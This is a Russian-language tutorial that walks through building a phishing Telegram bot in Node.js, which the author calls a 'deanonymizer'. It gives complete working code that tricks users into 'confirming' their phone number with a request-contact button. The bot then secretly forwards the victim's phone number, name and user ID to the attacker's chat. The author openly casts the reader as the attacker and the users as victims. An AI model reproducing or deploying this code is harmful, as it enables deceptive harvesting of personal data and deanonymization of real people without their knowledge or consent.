Собственный бот деанонимайзер!
Всем привет! Сегодня мы создадим простого Фишинг Телеграм Бота на Node.Js который будет запрашивать номер телефона жертвы, а затем пересылать его нам - таким образом можно сдеанонить жертву
Подготовка:
Для начала необходимо установить Node.js Current версии.
При установке оставляем все по дефолту и перезагружаем компьютер.
После установки Node.Js и перезагрузки компьютера создаем папку с проектом в папке с Node.Js, а также создаем файл index.js уже в папке именно проекта
Открываем Node.Js command prompt, заходим в папку с нашим ботом, и после прописываем следующие команды:
npm init -y
npm i node-telegram-bot-api
После установки структура файлов будет выглядеть так:
Получаем Токен:
- Пишем /start Телеграм боту @BotFather
- Пишем /newbot
- Пишем имя бота, затем username
- Профит! Мы получили Токен!
Начинаем прогать:
- Подключаем установленную библиотеку:
const TelegramBot = require("node-telegram-bot-api");
2. Создаем переменную TOKEN - которая будет хранить Токен бота:
const TOKEN = "Ваш Токен"
3. И создаем самого бота для дальнейших действий:
const bot = new TelegramBot(TOKEN, {polling: true});
Первое значение - это Токен, второе это настройки, но лучше оставить так как я написал
4. Теперь давайте сделаем чтобы на текст /start бот просил якобы "Подтвердить номер телефона":
bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id это ID чата, чтобы отправлять сообщение именно пользователю который это написал
bot.sendMessage(id, `Подтвердите свой номер телефона`) // Отправляем сообщение написавшей жертве
});
Для того чтобы скрипт запустился, необходимо запустить Node.js command prompt, командами cd перейти в нашу папку и написать:
node index.js
После написания команды, выскочит предупреждение, но оно вылазит всегда
P.S: После каждого обновления скрипта необходимо перезапускать бота в Node.Js command prompt
Теперь пишем боту:
Как видите он и правда отвечает, теперь сделаем красивую клавиатуру, и чтобы после ее нажатия злоумышленнику (То есть нам) приходил контакт собеседника:
bot.onText(/\/start/, function(msg) {
const id = msg.chat.id; // id - это ID чата, чтобы отправлять сообщение именно пользователю который это написал
console.log(id); // Нам надо также запомнить chat_id с нами, это потребуется в будующем
bot.sendMessage(id, `Подтвердите свой номер телефона`, {
reply_markup: { // Отправляем также клавиатуру
keyboard: [[{
text: "Подтвердить телефон", // Текст который будет на клавиатуре
request_contact: true // Будем ли мы запрашивать контакт
}]]
}
})
});
Перезапускаем наш скрипт:
Ctrl + c
node index.js
И действительно, теперь юзер отправляет боту свой номер телефона по кнопке, осталось сделать чтобы он пересылался нам (Злоумышленнику)
Теперь также мы знаем Chat ID "админа" (То есть нас) - Куда бот будет отправлять контакт
Остался последний шаг, проводим корректировки:
const admin = "Ваш чат ID";
bot.on("contact", function(msg) {
bot.sendMessage(admin, "Телефонный номер:" + msg.contact.phone_number);
bot.sendMessage(admin, "Имя:" + msg.contact.first_name);
bot.sendMessage(admin, "Фамилия:" + msg.contact.last_name);
bot.sendMessage(admin, "User ID:" + msg.contact.user_id);
});
Практика:
Вот как видит жертва:
А вот что получает злоумышленник:
Ссылки:
Посмотреть весь код вы можете в моем репозитории на Github.
Спасибо за прочтение!